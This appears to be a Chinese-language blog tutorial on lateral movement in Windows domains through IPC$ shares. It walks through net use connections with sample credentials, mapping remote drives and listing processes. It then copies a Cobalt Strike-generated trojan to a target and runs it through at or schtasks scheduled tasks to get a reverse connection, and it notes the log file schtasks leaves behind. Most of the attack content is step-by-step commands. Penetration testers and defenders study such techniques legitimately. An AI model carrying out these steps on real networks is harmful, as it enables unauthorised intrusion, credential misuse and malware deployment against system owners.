利用IPC进行横向
0x00 前言
IPC$
(Internet Process Connection) 是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC$
连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行……
IPC$默认大概率会禁用空密码的用户进行连接,并且目前的windows系统在安装的时候都会默认禁用
Administrator
用户,而是创建一个普通用户并把它加到管理组内
0x01 前提条件
-
139或445端口开启
目标机器没有禁用
IPC$
连接,没有什么防火防盗拦截IPC$
,139 445 端口也开了(能走445走445,不能则走139)
SMB协议(445端口):windows文件打印共享服务
NETBios(139端口):NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API)
- 知道管理员的密码(明文)
0x02 常用命令
建立空连接
1 | net use \\10.1.10.7\ipc$ "" /user:"" |
建立完整的用户名,密码连接
1 | net use \\10.1.10.7\ipc$ "password" /user:"username" #工作组内 |
列出主机的进程
1 | tasklist /S 10.1.10.7 /U administrator /P Aa123456 |
删除IPC$连接
1 | net use \\10.1.10.7\ipc$ /del |
映射路径 (将对方的c盘映射为自己的z盘,其他盘类推)
1 | net use z: \\win7\c$ "1qaz@WSX" /user:fzm\user1 |
访问/删除路径
1 | net use z: \\10.1.10.7\c$ #直接访问 |
1 | net share #查看自己的共享 |
复制文件到对方服务器上
1 | copy abc.exe \\win7\c$ |
0x03 windows 计划任务
at命令
接下来创建windows计划任务,自动执行木马反弹连接到攻击机器
在windows中常用的就是计划任务at和schtasks
at 命令是Windows自带的用于创建计划任务的命令,但是at 命令只在2003及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
at计划命令在实战中主要有两个用处:
一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,二是利用at计划任务命令上线cs或者msf
1 | at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt" |
二是利用at计划任务上线cs或msf,这里我使用的是cs生成的exe
1.首先与主机建立ipc连接
1 | net use \\10.1.10.7\ipc$ "1qaz@WSX" /user:fzm\user1 |
2.确定主机时间
1 | net time \\10.1.10.7 |
3.使用cs生成木马利用copy命令拷贝到主机上
4.使用at命令创建计划任务
1 | at \\<靶机ip> <启动时间> <木马在靶机的位置> |
schtasks命令
在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令比at命令使用起来更加灵活。
这里使用schtasks命令计划任务上线的思想跟at命令大同小异
1.与主机建立ipc连接
1 | net use \\10.1.10.10\ipc$ "abc12345." /user:fzm\administrator |
2.使用copy命令将exe复制到靶机里
1 | copy abc.exe \\10.1.10.10\c$ |
3.查看靶机时间
1 | net time \\10.1.10.10 |
4.使用schtasks创建名为test的计划任务
1 | #/s 目标 /u 用户名 /p 密码 /tn 计划任务名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间 |
可以用如下schtasks命令查看创建的计划任 cs
1 | schtasks /query /tn 8 |
5.删除计划任务
1 | schtasks /delete /tn 8 |
schtasks /create
创建计划任务,可加参数如下
1 | /sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT |
在使用
schtasks
命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt
如果执行schtasks
命令后没有回显,可配合ipc$
执行文件,使用type
命令远程查看执行结果